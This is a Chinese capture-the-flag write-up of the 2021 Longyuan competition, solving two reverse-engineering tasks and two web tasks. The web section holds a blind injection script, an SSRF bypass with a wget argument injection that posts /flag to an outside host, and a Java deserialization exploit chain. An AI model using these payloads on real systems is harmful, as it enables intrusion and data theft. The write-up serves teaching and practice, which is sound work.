2021陇原战疫 部分赛题复现

admin 2022年3月30日19:20:13评论69 views字数 4942阅读16分28秒阅读模式

2021陇原战"疫" 部分赛题复现

Reverse

Eat_something

这题非常有趣,是一道wasm的基础逆向题目。

拿到题目后发现页面有一个输入框,任意输入之后点击按钮会提示错误,右键查看源代码可以看到如下JS:

<script>
    Module.onRuntimeInitialized = function (){
        checkright = Module.cwrap('checkright', 'string', ['string'])
    }
    function nice(){
        var inpObj = document.getElementById("id1");
        document.write(checkright(inpObj.value))
        if(checkright(inpObj.value) === "You are right!"){
            document.write(inpObj.value)
        }
    }
<script>

这里调用了Module.cwrap加载了C函数checkright,f12打开Source查看源代码就可以看到有一个.wasm结尾的文件

2021陇原战疫 部分赛题复现


将该文件下载下来后

这里使用wabt工具:https://github.com/WebAssembly/wabt

然后使用里面的wasm2c将wasm文件转换成c文件

wasm2c.exe Eat_something.wasm -o Eat_something.c

之后会在当前目录中生成Eatsomething.c和Eatsomething.h

这时候如果直接阅读源码是非常难受的,还需要用gcc将其编译成二进制文件再拖到IDA中分析

2021陇原战疫 部分赛题复现


这里可以看到是将异或后的值与常量池中的比较,而常量datasegmentdata0打开Eatsomething.c就可以看到,其中与运算0xff其实就是对256取余,这里注释写错了。

static const u8 data_segment_data_0[] = {
  0x86, 0x8b, 0xaa, 0x85, 0xac, 0x89, 0xf0, 0xaf, 0xd8, 0x69, 0xd6, 0xdd,
  0xb2, 0xbf, 0x6e, 0xe5, 0xae, 0x99, 0xcc, 0xd5, 0xbc, 0x8b, 0xf2, 0x7d,
  0x7a, 0xe3, 0x59, 0x6f, 0x75, 0x20, 0x61, 0x72, 0x65, 0x20, 0x72, 0x69,
  0x67, 0x68, 0x74, 0x21, 0x00, 0x59, 0x6f, 0x75, 0x20, 0x61, 0x72, 0x65,
  0x20, 0x77, 0x72, 0x6f, 0x6e, 0x67, 0x21, 0x00,
};

poc的逻辑就是遍历这些数组的元素,然后异或再除2就可得到flag的串了

data_segment_data_0 = [ 0x86, 0x8b, 0xaa, 0x85, 0xac, 0x89, 0xf0, 0xaf, 0xd8, 0x69, 0xd6, 0xdd,   0xb2, 0xbf, 0x6e, 0xe5, 0xae, 0x99, 0xcc, 0xd5, 0xbc, 0x8b, 0xf2, 0x7d,   0x7a, 0xe3, 0x59, 0x6f, 0x75, 0x20, 0x61, 0x72, 0x65, 0x20, 0x72, 0x69,   0x67, 0x68, 0x74, 0x21, 0x00, 0x59, 0x6f, 0x75, 0x20, 0x61, 0x72, 0x65,   0x20, 0x77, 0x72, 0x6f, 0x6e, 0x67, 0x21, 0x00 ]

flag = ''
for i in range(len(data_segment_data_0)):
    flag += chr((i ^ data_segment_data_0[i]) / 2)

print(flag)
#CETCTF{Th0nk_Y0u_DocTOr51}


findme

这题属实把我给绕晕了,拿到题目直接丢IDA的时候看到如下伪代码

2021陇原战疫 部分赛题复现


sub_401610是判断是否长度为26

但是怪就怪在这个off_403844函数,我点进去之后看到是strcmp

2021陇原战疫 部分赛题复现


搞得我一直以为off_403844就是strcmp函数

直到我翻到了这个

2021陇原战疫 部分赛题复现


于是乎就用OD跑了一遍

2021陇原战疫 部分赛题复现


eax的值确实是401866,而该地址上面是一个函数栈帧,回到IDA伪代码查看

2021陇原战疫 部分赛题复现


点看Sub_40164C就可以看出是一个RC4算法

2021陇原战疫 部分赛题复现


最后与对应的密文比较

2021陇原战疫 部分赛题复现


403040的值是

2021陇原战疫 部分赛题复现


最后的解密过程,先通过调试获取26个0的异或结果,再编写如下脚本

s=[  0xD4, 0x27, 0xE1, 0xB2, 0xF4, 0x9F, 0x4C, 0xDC, 0xBC, 0x1B,
  0x80, 0xD2, 0x44, 0x8B, 0xEA, 0x33, 0x02, 0x4E, 0x41, 0xEB,
  0x8D, 0x23, 0x6F, 0xBC, 0x00, 0x8B]
d='00000000000000000000000000'
a=[0xFFFFFFB7, 0x00000052, 0xFFFFFF85, 0xFFFFFFC1, 0xFFFFFF90, 0xFFFFFFE9, 0x00000007, 0xFFFFFFB8, 0xFFFFFFE4, 0x0000001A, 0xFFFFFFC3, 0xFFFFFFBD, 0x0000001D, 0xFFFFFF8E, 0xFFFFFF85, 0x00000046, 0x00000000, 0x00000021, 0x00000044, 0xFFFFFFAF, 0xFFFFFFEF, 0x00000070, 0x00000032, 0xFFFFFFB5, 0x00000011, 0xFFFFFFC6]
for i in range(len(a)):
    print((chr(s[i]^ord(d[i])^(a[i]&0xff))),end='')
#SETCTF{Th1s_i5_E2_5tRcm9!}


Web

Checkin

这题其实就跟2021上海大学生赛的那道goweb题差不多

import requests

url = "http://47.117.125.220:8081/login"

headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

strings = "1234567890abcdefghijklmnopqrstuvwxyz"

res = ""
for i in range(len(res) + 1, 40):
    if len(res) == i - 1:
        for c in strings:
            data = {
                "username": "admin'&&this.password.substr(-" + str(i) + ")=='" + str(c + res) + "') {return true;}})//",
                "password": "123456"
            }
            r = requests.post(url=url, headers=headers, data=data)
            if "Pretend" in r.text:
                res = c + res
                print("[+] " + res)
                break
    else:
        print("[-] Failed")
        break

先通过注入获取到admin的密文

func proxyController(c *gin.Context) {
   
    var url Url
    if err := c.ShouldBindJSON(&url); err != nil {
        c.JSON(500, gin.H{"msg": err})
        return
    }
   
    re := regexp.MustCompile("127.0.0.1|0.0.0.0|06433|0x|0177|localhost|ffff")
    if re.MatchString(url.Url) {
        c.JSON(403, gin.H{"msg": "Url Forbidden"})
        return
    }
   
    client := &http.Client{Timeout: 2 * time.Second}

    resp, err := client.Get(url.Url)
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }
    defer resp.Body.Close()
    var buffer [512]byte
    result := bytes.NewBuffer(nil)
    for {
        n, err := resp.Body.Read(buffer[0:])
        result.Write(buffer[0:n])
        if err != nil && err == io.EOF {

            break
        } else if err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
            return
        }
    }
    c.JSON(http.StatusOK, gin.H{"data": result.String()})
}

然后访问使用[::]绕过对127.0.0.1的限制来访问内网。

然后用/wget路由来外带数据,但是这题出题人应该是遗漏了,/wget路由没有做中间件限制,导致可以无需登录就访问。

http://[::]:8080/wget?argv=-e+http_proxy=http://47.xxx.xxx.220:2333&argv=--method=POST&argv=--body-file=/flag&argv=http://47.xxx.xxx.220:2333

直接获取flag


Ezjaba

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
import java.io.File;
import java.nio.file.Files;

public class exp {
    public static void main(String[] args) throws Exception {
        //TemplatesImpl templates = SerializeUtil.generateTemplatesImpl();
        byte[] bytecodes = Files.readAllBytes(new File("EvilClass.class").toPath());
        TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl(bytecodes);
        ObjectBean delegate = new ObjectBean(Templates.class, tmpl);
        System.out.println(tools.base64Encode(tools.serialize(delegate)));
    }
}



Reference

[1].http://unbelievable.cool/2021/07/15/wasm%E9%80%86%E5%90%91/

原文始发于微信公众号(小陈的Life):2021陇原战疫 部分赛题复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月30日19:20:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2021陇原战疫 部分赛题复现http://cn-sec.com/archives/854891.html

发表评论

匿名网友 填写信息